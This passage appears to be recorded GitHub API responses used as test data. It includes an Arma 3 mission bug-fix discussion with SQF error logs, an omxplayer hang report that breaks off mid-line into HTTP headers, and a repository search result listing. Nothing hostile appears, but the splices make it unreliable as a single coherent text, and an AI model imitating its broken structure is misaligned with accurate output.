aap/subscriptions","organizations_url":"https://api.github.com/users/JoSchaap/orgs","repos_url":"https://api.github.com/users/JoSchaap/repos","events_url":"https://api.github.com/users/JoSchaap/events{/privacy}","received_events_url":"https://api.github.com/users/JoSchaap/received_events","type":"User","site_admin":false},"open_issues":0,"closed_issues":35,"state":"open","created_at":"2013-07-02T09:24:02Z","updated_at":"2013-08-30T09:35:08Z","due_on":null},"comments":121,"created_at":"2013-07-27T10:40:19Z","updated_at":"2013-08-30T09:35:08Z","closed_at":"2013-08-30T09:35:08Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"*** Discusscion thread ***\r\n\r\nplease only discuss here and use the new issue button to report bugs with a full discription and steps to reproduce them\r\n\r\n\r\n\r\n\r\nFirst things first, thanks all for testing, sadly something came up (family thing) so i wasn't able to get any work done yesterday.\r\nWhat i did find out is that there's more things to fix than i initially thought last night..\r\n\r\nThe list of issues to fix is below:\r\n\r\n[Fixed] - general store broken \r\n\r\n[Fixed] - briefing missing some line breaks\r\n\r\n[Fixed] - increase radius of dead player cleanup (items tend to roll away)\r\n\r\n[WontChange-isOK] - The 'you have died from starvation/hunger' hints stay on for too long (decrease its duration)\r\n\r\n[Fixed] - investigate an issue where players are randomly spawned mid air in limbo when clicking random (findsafepos failing again?)\r\n\r\n[Fixed/WorksAsIntended] - investigate iniDB counter in diag_log 'x objects saved' gets stuck and only increases , should be set to 0 after saving\r\n\r\n[Fixed] - investigate server cleanup counter in diag_log '9 dead players 34 AI and 30 clutterred items from the dead have been cleaned up' the numbers are no longer re-setting to 0\r\n\r\n[Fixed] - revert to the old vehicle.sqf to see if it fixes the newly added logspam\r\n\r\n Error in expression \r\n 20:30:36 Error position: <_towedUnit) then\r\n {\r\n detach _towedUnit;\r\n _t>\r\n Error Undefined variable in expression: _towedunit\r\n mpmissions\\__cur_mp.Stratis\\server\\functions\\vehicle.sqf, line 139\r\n\r\n[Fixed] - A new findsafepos issue has introduced itself?, I thought i got rid of this..\r\n\r\n Error in expression \r\n Error position: <_objDist, 0, _maxGradient, _objDist max >\r\n Error Undefined variable in expression: _objdist\r\n File A3\\functions_f\\misc\\fn_findSafePos.sqf, line 100\r\n Error in expression <};\r\n };\r\n _pos = [_markerPos, 2, 45, ( if (_type == 1) then { 2 } else { 5 } ), 0, >\r\n Error position: <_type == 1) then { 2 } else { 5 } ), 0, >\r\n Error Undefined variable in expression: _type\r\n File mpmissions\\__cur_mp.Stratis\\server\\spawning\\vehicleCreation.sqf, line 30\r\n Error in expression \r\n Error position: <_objDist, 0, _maxGradient, _objDist max >\r\n Error Undefined variable in expression: _objdist\r\n File A3\\functions_f\\misc\\fn_findSafePos.sqf, line 100\r\n\r\n[Fixed] - various new undefined variable spam in rpt (not sure why bis changed this..)\r\n\r\n Cannot create non-ai vehicle ,\r\n Error in expression <50);\r\n _car setDamage (random 0.50);\r\n if (_type in [0,1]) then\r\n {\r\n _car setHit [\"whe>\r\n Error position: <_type in [0,1]) then\r\n {\r\n _car setHit [\"whe>\r\n Error Undefined variable in expression: _type\r\n File mpmissions\\__cur_mp.Stratis\\server\\spawning\\vehicleCreation.sqf, line 44\r\n \r\n Error in expression \r\n Error position: <_vehicle setVehicleLock \"UNLOCKED\";\r\n _veh>\r\n Error Undefined variable in expression: _vehicle\r\n File mpmissions\\__cur_mp.Stratis\\server\\missions\\mainMissions\\mission_Convoy.sqf, line 137\r\n\r\n[Fixed] - Main mission: coastal patrol, remove the SDV it keeps getting beached by the AI\r\n** investigate why AI tends to beach the boat when engaging players\r\n\r\n[Fixed] - extend the time between loot re-spawns and increase precision\r\n\r\n[Fixed] - missions no longer delete blown up vehicles..\r\n\r\n Error in expression <%1\",_missionType];\r\n } else {\r\n if ((damage _vehicle) == 1) then {\r\n deleteVehicle _ve>\r\n Error position: <_vehicle) == 1) then {\r\n deleteVehicle _ve>\r\n Error Undefined variable in expression: _vehicle\r\n File mpmissions\\__cur_mp.Stratis\\server\\missions\\mainMissions\\mission_Coastal_Convoy.sqf, line 180\r\n\r\n[Fixed] - Clientsided errorspam when in a group and looking at a group member (screen shots below)\r\n[Fixed] - clientsided errorspam when in bluefor/opfor and looking at a group member\r\n(screen shots below)\r\n\r\n[Fixed] - check if bis_fnc_rsclayer or fn_dynamictext has been changed (sometimes causes an error)\r\n\r\n[Fixed] - client sided error message when picking up money while to far away from it (screenshot below)\r\n\r\n[Should-be-Fixed(TEST!)] - newplayericons ocasionally still drops a clientsided blackbox error about an undefined hud_icon (see jackiechan image below)\r\n\r\n[Fixed] - old undefined variable error is back when you stop spectating a player (probably overwritten my own fixes)\r\n\r\n![2013-07-26_00010](https://f.cloud.github.com/assets/2301588/866722/e090a66e-f6a8-11e2-81cf-844f9b4bc3ce.jpg)\r\n![2013-07-26_00011](https://f.cloud.github.com/assets/2301588/866723/e094604c-f6a8-11e2-822b-6e95f4d1768f.jpg)\r\n![2013-07-25_00004](https://f.cloud.github.com/assets/2301588/866724/e09294d8-f6a8-11e2-8dcd-97273ca5c4ee.jpg)\r\n![2013-07-26_00008](https://f.cloud.github.com/assets/2301588/866725/e09353dc-f6a8-11e2-8cd9-4991df41a203.jpg)\r\n![2013-07-26_00012](https://f.cloud.github.com/assets/2301588/866726/e091ced6-f6a8-11e2-8587-ee8cfb202aeb.jpg)\r\n![2013-07-26_00009](https://f.cloud.github.com/assets/2301588/866727/e096ac30-f6a8-11e2-91e7-c26d0b96703f.jpg)\r\n![2013-07-26_00013](https://f.cloud.github.com/assets/2301588/866728/e0a2e07c-f6a8-11e2-9a38-7f0b25bd94ba.jpg)\r\n![2013-07-26_00018](https://f.cloud.github.com/assets/2301588/866730/e0a48576-f6a8-11e2-9c1b-aadb8063129c.jpg)\r\n![2013-07-26_00014](https://f.cloud.github.com/assets/2301588/866729/e0a73794-f6a8-11e2-8f1f-4f922b395fdf.jpg)\r\n![2013-07-26_00019](https://f.cloud.github.com/assets/2301588/866731/e0a53f0c-f6a8-11e2-8910-d11544f663ad.jpg)\r\n![2013-07-26_00020](https://f.cloud.github.com/assets/2301588/866732/e0a418c0-f6a8-11e2-9023-7c6c8ca1b8dd.jpg)\r\n![2013-07-27_00004](https://f.cloud.github.com/assets/2301588/866733/e0aa24ea-f6a8-11e2-9f20-4b68d3445d10.jpg)\r\n![jackie-chan-meme](https://f.cloud.github.com/assets/2301588/866735/ec5c3a76-f6a8-11e2-9d51-2db78038e835.jpg)\r\n","score":0.09803598},{"url":"https://api.github.com/repos/popcornmix/omxplayer/issues/12","labels_url":"https://api.github.com/repos/popcornmix/omxplayer/issues/12/labels{/name}","comments_url":"https://api.github.com/repos/popcornmix/omxplayer/issues/12/comments","events_url":"https://api.github.com/repos/popcornmix/omxplayer/issues/12/events","html_url":"https://github.com/popcornmix/omxplayer/issues/12","id":16376966,"number":12,"title":"OMXPlayer randomly hangs","user":{"login":"cjsoftuk","id":2492472,"avatar_url":"https://avatars.githubusercontent.com/u/2492472","gravatar_id":"870dcf43f96660c93185fdcaad4e74c4","url":"https://api.github.com/users/cjsoftuk","html_url":"https://github.com/cjsoftuk","followers_url":"https://api.github.com/users/cjsoftuk/followers","following_url":"https://api.github.com/users/cjsoftuk/following{/other_user}","gists_url":"https://api.github.com/users/cjsoftuk/gists{/gist_id}","starred_url":"https://api.github.com/users/cjsoftuk/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cjsoftuk/subscriptions","organizations_url":"https://api.github.com/users/cjsoftuk/orgs","repos_url":"https://api.github.com/users/cjsoftuk/repos","events_url":"https://api.github.com/users/cjsoftuk/events{/privacy}","received_events_url":"https://api.github.com/users/cjsoftuk/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","assignee":null,"milestone":null,"comments":118,"created_at":"2013-07-04T17:56:43Z","updated_at":"2014-02-25T08:55:20Z","closed_at":"2014-02-24T20:45:54Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Got a project that I can't disclose much info about, unfortunately, however.....\r\nWe use omxplayer and Raspberry Pi as part of the project, and we play *lots* of videos, back-to-back (i.e. OMXPlayer quits, and our project starts a new one almost immediately).\r\n\r\nHowever, from time to time (usually within an hour), OMXPlayer will hang.\r\nWe do have a custom kernel we use, which I can post the .config for later today and I plan to swap back to stock kernel if the issue recurs again today (I'm currently in the middle of doing live demos to prospective customers). Other than the custom kernel, we're up to date as far as the bootloader goes and all other packages (inc OMXPlayer - 0.3.0 installed to try and fix this issue).\r\n\r\nUsually, the hang will occur at the end of the video. OMXPlayer doesn't quit, doesn't print any messages to the log.\r\n\r\nWe're invoking omxplayer as follows:\r\nDISPLAY=:0 /usr/bin/omxplayer -o local --win \"0 0 160 96\" /content/file.mp4 ; rel="next", ; rel="last"'), ('cache-control', 'no-cache'), ('date', 'Mon, 03 Mar 2014 04:33:01 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1393821241')] {"total_count":2723,"items":[{"id":1951148,"name":"legit","full_name":"kennethreitz/legit","owner":{"login":"kennethreitz","id":119893,"avatar_url":"https://avatars.githubusercontent.com/u/119893","gravatar_id":"b02b2f020dcab92cbc5c79613071119f","url":"https://api.github.com/users/kennethreitz","html_url":"https://github.com/kennethreitz","followers_url":"https://api.github.com/users/kennethreitz/followers","following_url":"https://api.github.com/users/kennethreitz/following{/other_user}","gists_url":"https://api.github.com/users/kennethreitz/gists{/gist_id}","starred_url":"https://api.github.com/users/kennethreitz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kennethreitz/subscriptions","organizations_url":"https://api.github.com/users/kennethreitz/orgs","repos_url":"https://api.github.com/users/kennethreitz/repos","events_url":"https://api.github.com/users/kennethreitz/events{/privacy}","received_events_url":"https://api.github.com/users/kennethreitz/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/kennethreitz/legit","description":"Git for Humans, Inspired by GitHub for Mac™.","fork":false,"url":"https://api.github.com/repos/kennethreitz/legit","forks_url":"https://api.github.com/repos/kennethreitz/legit/forks","keys_url":"https://api.github.com/repos/kennethreitz/legit/keys{/key_id}","collaborators_url":"https://api.github.com/repos/kennethreitz/legit/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/kennethreitz/legit/teams","hooks_url":"https://api.github.com/repos/kennethreitz/legit/hooks","issue_events_url":"https://api.github.com/repos/kennethreitz/legit/issues/events{/number}","events_url":"https://api.github.com/repos/kennethreitz/legit/events","assignees_url":"https://api.github.com/repos/kennethreitz/legit/assignees{/user}","branches_url":"https://api.github.com/repos/kennethreitz/legit/branches{/branch}","tags_url":"https://api.github.com/repos/kennethreitz/legit/tags","blobs_url":"https://api.github.com/repos/kennethreitz/legit/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/kennethreitz/legit/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/kennethreitz/legit/git/refs{/sha}","trees_url":"https://api.github.com/repos/kennethreitz/legit/git/trees{/sha}","statuses_url":"https://api.github.com/repos/kennethreitz/legit/statuses/{sha}","languages_url":"https://api.github.com/repos/kennethreitz/legit/languages","stargazers_url":"https://api.github.com/repos/kennethreitz/legit/stargazers","contributors_url":"https://api.github.com/repos/kennethreitz/legit/contributors","subscribers_url":"https://api.github.com/repos/kennethreitz/legit/subscribers","subscription_url":"https://api.github.com/repos/kennethreitz/legit/subscription","commits_url":"https://api.github.com/repos/kennethreitz/legit/commits{/sha}","git_commits_url":"https://api.github.com/repos/kennethreitz/legit/git/commits{/sha}","comments_url":"https://api.github.com/repos/kennethreitz/legit/comments{/number}","issue_comment_url":"https://api.github.com/repos/kennethreitz/legit/issues/comments/{number}","contents_url":"https://api.github.com/repos/kennethreitz/legit/contents/{+path}","compare_url":"https://api.github.com/repos/kennethreitz/legit/compare/{base}...{head}","merges_url":"https://api.github.com/repos/kennethreitz/legit/merges","archive_url":"https://api.github.com/repos/kennethreitz/legit/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/kennethreitz/legit/downloads","issues_url":"https://api.github.com/repos/kennethreitz/legit/issues{/number}","pulls_url":"https://api.github.com/repos/kennethreitz/legit/pulls{/number}","milestones_url":"https://api.github.com/repos/kennethreitz/legit/milestones{/number}","notifications_url":"https://api.github.com/repos/kennethreitz/legit/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/kennethreitz/legit/labels{/name}","releases_url":"https://api.github.com/repos/kennethreitz/legit/releases{/id}","created_at":"2011-06-25T05:58:18Z","updated_at":"2014-01-27T17:39:32Z","pushed_at":"2014-01-27T17:39:31Z","git_url":"git://github.com/kennethreitz/legit.git","ssh_url":"git@github.com:kennethreitz/legit.git","clone_url":"https://github.com/kennethreitz/legit.git","svn_url":"https://github.com/kennethreitz/legit","homepage":"http://www.git-legit.org/","size":539,"stargazers_count":3036,"watchers_count":3036,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":118,"mirror_url":null,"open_issues_count":56,"forks":118,"open_issues":56,"watchers":3036,"default_branch":"develop","master_branch":"develop","score":34.075066},{"id":722962,"name":"CouchPotatoV1","full_name":"RuudBurger/CouchPotatoV1","owner":{"login":"RuudBurger","id":38136,"avatar_url":"https://avatars.githubusercontent.com/u/38136","gravatar_id":"dc8b8cb353e7cb91b79ae16d0e3737ab","url":"https://api.github.com/users/RuudBurger","html_url":"https://github.com/RuudBurger","followers_url":"https://api.github.com/users/RuudBurger/followers","following_url":"https://api.github.com/users/RuudBurger/following{/other_user}","gists_url":"https://api.github.com/users/RuudBurger/gists{/gist_id}","starred_url":"https://api.github.com/users/RuudBurger/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/RuudBurger/subscriptions","organizations_url":"https://api.github.com/users/RuudBurger/orgs","repos_url":"https://api.github.com/users/RuudBurger/repos","events_url":"https://api.github.com/users/RuudBurger/events{/privacy}","received_events_url":"https://api.github.com/users/RuudBurger/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/RuudBurger/CouchPotatoV1","description":"This is the old version, please use https://github.com/RuudBurger/CouchPotatoServer","fork":false,"url":"https://api.github.com/repos/RuudBurger/CouchPotatoV1","forks_url":"https://api.github.com/repos/RuudBurger/CouchPotatoV1/forks","keys_url":"https://api.github.com/repos/RuudBurger/CouchPotatoV1/keys{/key_id}","collaborators_url":"https://api.github.com/repos/RuudBurger/CouchPotatoV1/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/RuudBurger/CouchPotatoV1/teams","hooks_url":"https://api.github.com/repos/RuudBurger/CouchPotatoV1/hooks","issue_events_url":"https://api.github.com/repos/RuudBurger/CouchPotatoV1/issues/events{/number}","events_url":"https://api.github.com/repos/RuudBurger/CouchPotatoV1/events","assignees_url":"https://api.github.com/repos/RuudBurger/CouchPotatoV1/assignees{/user}","branches_url":"https://api.github.com/repos/RuudBurger/CouchPotatoV1/branches{/branch}","tags_url":"https://api.github.com/repos/RuudBurger/CouchPotatoV1/tags","blobs_url":"https://api.github.com/repos/RuudBurger/CouchPotatoV1/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/RuudBurger/CouchPotatoV1/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/RuudBurger/CouchPotatoV1/git/refs{/sha}","trees_url":"https://api.github.com/repos/RuudBurger/CouchPotatoV1/git/trees{/sha}","statuses_url":"https://api.github.com/repos/RuudBurger/CouchPotatoV1/statuses/{sha}","languages_url":"https://api.github.com/repos/RuudBurger/CouchPotatoV1/languages","stargazers_url":"https://api.github.com/repos/RuudBurger/CouchPotatoV1/stargazers","contributors_url":"https://api.github.com/repos/RuudBurger/CouchPotatoV1/contributors","subscribers_url":"https://api.github.com/repos/RuudBurger/CouchPotatoV1/subscribers","subscription_url":"https://api.github.com/repos/RuudBurger/CouchPotatoV1/subscription","commits_url":"https://api.github.com/repos/RuudBurger/CouchPotatoV1/commits{/sha}","git_commits_url":"https://api.github.com/repos/RuudBurger/CouchPotatoV1/git/commits{/sha}","comments_url":"https://api.github.com/repos/RuudBurger/CouchPotatoV1/comments{/number}","issue_comment_url":"https://api.github.com/repos/RuudBurger/CouchPotatoV1/issues/comments/{number}","contents_url":"https://api.github.com/repos/RuudBurger/CouchPotatoV1/contents/{+path}","compare_url":"https://api.github.com/repos/RuudBurger/CouchPotatoV1/compare/{base}...{head}","merges_url":"https://api.github.com/repos/RuudBurger/CouchPotatoV1/merges","archive_url":"https://api.github.com/repos/RuudBurger/CouchPotatoV1/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/RuudBurger/CouchPotatoV1/downloads","issues_url":"https://api.github.com/repos/RuudBurger/CouchPotatoV1/issues{/number}","pulls_url":"https://api.github.com/repos/RuudBurger/CouchPotatoV1/pulls{/number}","milestones_url":"https://api.github.com/repos/RuudBurger/CouchPotatoV1/milestones{/number}","notifications_url":"https://api.github.com/repos/RuudBurger/CouchPotatoV1/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/RuudBurger/CouchPotatoV1/labels{/name}","releases_url":"https://api.github.com/repos/RuudBurger/CouchPotatoV1/releases{/id}","created_at":"2010-06-15T21:27:32Z","updated_at":"2014-01-17T01:41:31Z","pushed_at":"2012-10-26T13:25:40Z","git_url":"git://github.com/RuudBurger/CouchPotatoV1.git","ssh_url":"git@github.com:RuudBurger/CouchPotatoV1.git","clone_url":"https://github.com/RuudBurger/CouchPotatoV1.git","svn_url":"https://github.com/RuudBurger/CouchPotatoV1","homepage":"couchpota.to","size":8442,"stargazers_count":1062,"watchers_count":1062,"language":"Python","has_issues":false,"has_downloads":true,"has_wiki":false,"forks_count":215,"mirror_url":null,"open_issues_count":5,"forks":215,"open_issues":5,"watchers":1062,"default_branch":"master","master_branch":"master","score":22.54451},{"id":9631509,"name":"gitfiti","full_name":"gelstudios/gitfiti","owner":{"login":"gelstudios","id":530111,"avatar_url":"https://avatars.githubusercontent.com/u/530111","gravatar_id":"ac1dff6e32e40c6f5d2b6050376a3765","url":"https://api.github.com/users/gelstudios","html_url":"https://github.com/gelstudios","followers_url":"https://api.github.com/users/gelstudios/followers","following_url":"https://api.github.com/users/gelstudios/following{/other_user}","gists_url":"https://api.github.com/users/gelstudios/gists{/gist_id}","starred_url":"https://api.github.com/users/gelstudios/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/gelstudios/subscriptions","organizations_url":"https://api.github.com/users/gelstudios/orgs","repos_url":"https://api.github.com/users/gelstudios/repos","events_url":"https://api.github.com/users/gelstudios/events{/privacy}","received_events_url":"https://api.github.com/users/gelstudios/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/gelstudios/gitfiti","description":"abusing github commit history for the lulz","fork":false,"url":"https://api.github.com/repos/gelstudios/gitfiti","forks_url":"https://api.github.com/repos/gelstudios/gitfiti/forks","keys_url":"https://api.github.com/repos/gelstudios/gitfiti/keys{/key_id}","collaborators_url":"https://api.github.com/repos/gelstudios/gitfiti/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/gelstudios/gitfiti/teams","hooks_url":"https://api.github.com/repos/gelstudios/gitfiti/hooks","issue_events_url":"https://api.github.com/repos/gelstudios/gitfiti/issues/events{/number}","events_url":"https://api.github.com/repos/gelstudios/gitfiti/events","assignees_url":"https://api.github.com/repos/gelstudios/gitfiti/assignees{/user}","branches_url":"https://api.github.com/repos/gelstudios/gitfiti/branches{/branch}","tags_url":"https://api.github.com/repos/gelstudios/gitfiti/tags","blobs_url":"https://api.github.com/repos/gelstudios/gitfiti/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/gelstudios/gitfiti/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/gelstudios/gitfiti/git/refs{/sha}","trees_url":"https://api.github.com/repos/gelstudios/gitfiti/git/trees{/sha}","statuses_url":"https://api.github.com/repos/gelstudios/gitfiti/statuses/{sha}","languages_url":"https://api.github.com/repos/gelstudios/gitfiti/languages","stargazers_url":"https://api.github.com/repos/gelstudios/gitfiti/stargazers","contributors_url":"https://api.github.com/repos/gelstudios/gitfiti/contributors","subscribers_url":"https://api.github.com/repos/gelstudios/gitfiti/subscribers","subscription_url":"https://api.github.com/repos/gelstudios/gitfiti/subscription","commits_url":"https://api.github.com/repos/gelstudios/gitfiti/commits{/sha}","git_commits_url":"https://api.github.com/repos/gelstudios/gitfiti/git/commits{/sha}","comments_url":"https://api.github.com/repos/gelstudios/gitfiti/comments{/number}","issue_comment_url":"https://api.github.com/repos/gelstudios/gitfiti/issues/comments/{number}","contents_url":"https://api.github.com/repos/gelstudios/gitfiti/contents/{+path}","compare_url":"https://api.github.com/repos/gelstudios/gitfiti/compare/{base}...{head}","merges_url":"https://api.github.com/repos/gelstudios/gitfiti/merges","archive_url":"https://api.github.com/repos/gelstudios/gitfiti/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/gelstudios/gitfiti/downloads","issues_url":"https://api.github.com/repos/gelstudios/gitfiti/issues{/number}","pulls_url":"https://api.github.com/repos/gelstudios/gitfiti/pulls{/number}","milestones_url":"https://api.github.com/repos/gelstudios/gitfiti/milestones{/number}","notifications_url":"https://api.github.com/repos/gelstudios/gitfiti/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/gelstudios/gitfiti/labels{/name}","releases_url":"https://api.github.com/repos/gelstudios/gitfiti/releases{/id}","created_at":"2013-04-23T19:32:02Z","updated_at":"2014-01-17T19:19:07Z","pushed_at":"2014-01-17T19:19:07Z","git_url":"git://github.com/gelstudios/gitfiti.git","ssh_url":"git@github.com:gelstudios/gitfiti.git","clone_url":"https://github.com/gelstudios/gitfiti.git","svn_url":"https://github.com/gelstudios/gitfiti","homepage":"","size":316,"stargazers_count":669,"watchers_count":669,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":42,"mirror_url":null,"open_issues_count":1,"forks":42,"open_issues":1,"watchers":669,"default_branch":"master","master_branch":"master","score":24.823269},{"id":328430,"name":"webgl-lessons","full_name":"gpjt/webgl-lessons","owner":{"login":"gpjt","id":129702,"avatar_url":"https://avatars.githubusercontent.com/u/129702","gravatar_id":"2872c4aad0f3cfdb6421c36527fb868c","url":"https://api.github.com/users/gpjt","html_url":"https://github.com/gpjt","followers_url":"https://api.github.com/users/gpjt/followers","following_url":"https://api.github.com/users/gpjt/following{/other_user}","gists_url":"https://api.github.com/users/gpjt/gists{/gist_id}","starred_url":"https://api.github.com/users/gpjt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/gpjt/subscriptions","organizations_url":"https://api.github.com/users/gpjt/orgs","repos_url":"https://api.github.com/users/gpjt/repos","events_url":"https://api.github.com/users/gpjt/events{/privacy}","received_events_url":"https://api.github.com/users/gpjt/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/gpjt/webgl-lessons","description":"https://github.com/tparisi/webgl-lessons is now the officially maintained fork for this project","fork":false,"url":"https://api.github.com/repos/gpjt/webgl-lessons","forks_url":"https://api.github.com/repos/gpjt/webgl-lessons/forks","keys_url":"https://api.github.com/repos/gpjt/webgl-lessons/keys{/key_id}","collaborators_url":"https://api.github.com/repos/gpjt/webgl-lessons/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/gpjt/webgl-lessons/teams","hooks_url":"https://api.github.com/repos/gpjt/webgl-lessons/hooks","issue_events_url":"https://api.github.com/repos/gpjt/webgl-lessons/issues/events{/number}","events_url":"https://api.github.com/repos/gpjt/webgl-lessons/events","assignees_url":"https://api.github.com/repos/gpjt/webgl-lessons/assignees{/user}","branches_url":"https://api.github.com/repos/gpjt/webgl-lessons/branches{/branch}","tags_url":"https://api.github.com/repos/gpjt/webgl-lessons/tags","blobs_url":"https://api.github.com/repos/gpjt/webgl-lessons/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/gpjt/webgl-lessons/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/gpjt/webgl-lessons/git/refs{/sha}","trees_url":"https://api.github.com/repos/gpjt/webgl-lessons/git/trees{/sha}","statuses_url":"https://api.github.com/repos/gpjt/webgl-lessons/statuses/{sha}","languages_url":"https://api.github.com/repos/gpjt/webgl-lessons/languages","stargazers_url":"https://api.github.com/repos/gpjt/webgl-lessons/stargazers","contributors_url":"https://api.github.com/repos/gpjt/webgl-lessons/contributors","subscribers_url":"https://api.github.com/repos/gpjt/webgl-lessons/subscribers","subscription_url":"https://api.github.com/repos/gpjt/webgl-lessons/subscription","commits_url":"https://api.github.com/repos/gpjt/webgl-lessons/commits{/sha}","git_commits_url":"https://api.github.com/repos/gpjt/webgl-lessons/git/commits{/sha}","comments_url":"https://api.github.com/repos/gpjt/webgl-lessons/comments{/number}","issue_comment_url":"https://api.github.com/repos/gpjt/webgl-lessons/issues/comments/{number}","contents_url":"https://api.github.com/repos/gpjt/webgl-lessons/contents/{+path}","compare_url":"https://api.github.com/repos/gpjt/webgl-lessons/compare/{base}...{head}","merges_url":"https://api.github.com/repos/gpjt/webgl-lessons/merges","archive_url":"https://api.github.com/repos/gpjt/webgl-lessons/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/gpjt/webgl-lessons/downloads","issues_url":"https://api.github.com/repos/gpjt/webgl-lessons/issues{/number}","pulls_url":"https://api.github.com/repos/gpjt/webgl-lessons/pulls{/number}","milestones_url":"https://api.github.com/repos/gpjt/webgl-lessons/milestones{/number}","notifications_url":"https://api.github.com/repos/gpjt/webgl-lessons/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/gpjt/webgl-lessons/labels{/name}","releases_url":"https://api.github.com/repos/gpjt/webgl-lessons/releases{/id}","created_at":"2009-10-06T12:30:19Z","updated_at":"2014-01-15T01:27:33Z","pushed_at":"2013-04-10T18:01:09Z","git_url":"git://github.com/gpjt/webgl-lessons.git","ssh_url":"git@github.com:gpjt/webgl-lessons.git","clone_url":"https://github.com/gpjt/webgl-lessons.git","svn_url":"https://github.com/gpjt/webgl-lessons","homepage":"http://learningwebgl.com/lessons/","size":15818,"stargazers_count":585,"watchers_count":585,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":351,"mirror_url":null,"open_issues_count":3,"forks":351,"open_issues":3,"watchers":585,"default_branch":"master","master_branch":"master","score":21.968115},{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://avatars.githubusercontent.com/u/327146","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/PyGithub/releases{/id}","created_at":"2012-02-25T12:53:47Z","updated_at":"2014-03-03T03:41:47Z","pushed_at":"2014